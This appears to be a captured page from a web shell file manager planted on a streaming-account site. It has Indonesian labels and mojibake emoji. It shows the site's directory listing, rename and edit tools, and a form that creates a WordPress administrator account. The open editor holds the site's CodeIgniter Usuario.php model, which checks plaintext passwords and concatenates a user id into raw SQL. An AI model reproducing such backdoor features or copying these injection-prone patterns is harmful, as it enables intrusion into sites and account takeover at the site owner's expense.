π File Editor (IP: )
π Root Folder:
π Buka
π Daftar isi: /home/goblinst/public_html/cuentas.goblinstreaming21.com/application/models
β¬ οΈ Kembali ke folder sebelumnya
π
Cliente.php
π
Configuracion.php
π
Panel.php
π
Perfil.php
π
Producto.php
π
Servicio.php
π
Usuario.php
π
Venta.php
π
index.html
π Folder Baru:
+ Buat
π File Baru:
+ Buat
βοΈ Rename:
Cliente.php
Configuracion.php
Panel.php
Perfil.php
Producto.php
Servicio.php
Usuario.php
Venta.php
index.html
β‘οΈ
Rename
β Tambah User WordPress (folder aktif)
π€ Username:
π§ Email:
π Password:
β Buat User WP (admin)
π Mengedit: Usuario.php
<?php class Usuario extends CI_Model { //obtener datos de usuarios public function obtenerDatos() { if ($this->session->userdata('C0n3ct4d0_Usr')) : if ($this->session->userdata('C0n3ct4d0_Usr')->perfil_usu == "ADMINISTRADOR") : $this->db->order_by('apellido_usu', 'asc'); $query = $this->db->get('usuarios'); if ($query->num_rows() > 0) { return $query; } else { return false; } endif; endif; } //fin //insersiΓ³n de datos/tabla usuario public function insertar($data) { return $this->db->insert('usuarios', $data); } //fin //capturar id public function obtenerId($id) { $this->db->where('id_usu', $id); $query = $this->db->get('usuarios'); if ($query->num_rows() > 0) { return $query->row(); } else { return false; } } //eliminar usuario----------------------- public function eliminar($id_usu) { if ($this->session->userdata('C0n3ct4d0_Usr')->id_usu != $id_usu) { $this->db->where('id_usu', $id_usu); return $this->db->delete('usuarios'); } } //actualizar usuario----------- public function actualizar($id, $datosEditados) { $this->db->where("id_usu", $id); return $this->db->update('usuarios', $datosEditados); } public function obtenerUsuariosSinRelacion() { $query = $this->db->get('usuarios'); if ($query->num_rows() > 0) { return $query; } else { return false; } } //capturar id public function obtenerPorUsuarioPassword($usuario, $password) { $this->db->where('usuario_usu', $usuario); $this->db->where('password_usu', $password); $query = $this->db->get('usuarios'); if ($query->num_rows() > 0) { return $query->row(); } else { return false; } } var $table = 'usuarios'; var $column_order = array('id_usu', 'nombre_usu', 'apellido_usu', 'usuario_usu', 'password_usu', 'estado_usu', 'perfil_usu', 'fotografia_usu'); var $order = array('id_usu', 'nombre_usu', 'apellido_usu', 'usuario_usu', 'password_usu', 'estado_usu', 'perfil_usu', 'fotografia_usu'); private function _get_data_query() { $this->db->from($this->table); if (isset($_POST['search']['value'])) { $this->db->like('nombre_usu', $_POST['search']['value']); $this->db->or_like('apellido_usu', $_POST['search']['value']); $this->db->or_like('usuario_usu', $_POST['search']['value']); $this->db->or_like('perfil_usu', $_POST['search']['value']); $this->db->or_like('fotografia_usu', $_POST['search']['value']); $this->db->or_like('estado_usu', $_POST['search']['value']); } if (isset($_POST['order'])) { $this->db->order_by($this->order[$_POST['order']['0']['column']], $_POST['order']['0']['dir']); } else { $this->db->order_by('nombre_usu', 'ASC'); } } public function obtenerTodosJson() { $this->_get_data_query(); if ($_POST['length'] != -1) { $this->db->limit($_POST['length'], $_POST['start']); } $query = $this->db->get(); return $query->result(); } public function obtenerTodosPorUsuarioJson($id_usu) { //$this->_get_data_query(); if ($_POST['length'] != -1) { $this->db->limit($_POST['length'], $_POST['start']); } $sql = "select * from ventas inner join clientes on ventas.fk_id_cli = clientes.id_cli inner join servicios on ventas.fk_id_ser = servicios.id_ser inner join productos on ventas.fk_id_pro = productos.id_pro left join perfiles on ventas.fk_id_per = perfiles.id_per where ventas.usuario_creacion_ven = " . $id_usu; $query = $this->db->query($sql); return $query->result(); } public function count_filtered_data() { $this->_get_data_query(); $query = $this->db->get(); return $query->num_rows(); } public function count_all_data() { $this->db->from($this->table); return $this->db->count_all_results(); } public function existe_usuario($usuario) { $query = $this->db->get_where('usuarios', array('usuario_usu' => $usuario)); // Busca el usuario en la tabla de usuarios if ($query->num_rows() > 0) { // Verifica si la consulta devolviΓ³ algΓΊn resultado return true; // El usuario ya existe } else { return false; // El usuario no existe } } public function existe_editar_usuario($usuario, $id_usu) { $this->db->where('id_usu !=', $id_usu); $query = $this->db->get_where('usuarios', array('usuario_usu' => $usuario)); // Busca el usuario en la tabla de usuarios if ($query->num_rows() > 0) { // Verifica si la consulta devolviΓ³ algΓΊn resultado return true; // El usuario ya existe } else { return false; // El usuario no existe } } }//fin clase
πΎ Simpan
π Replace Teks (Ctrl+H)
Cari:
Ganti Dengan:
Replace All
Tutup